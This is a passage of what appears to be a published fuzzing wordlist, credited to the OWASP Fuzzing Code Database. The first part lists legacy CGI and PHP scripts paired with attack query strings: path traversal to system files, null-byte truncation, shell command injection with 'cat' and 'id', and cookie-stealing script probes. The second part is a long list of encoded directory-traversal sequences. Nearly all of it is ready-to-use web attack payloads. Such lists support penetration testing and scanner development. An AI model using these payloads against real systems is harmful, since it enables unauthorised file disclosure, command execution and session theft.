/> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> 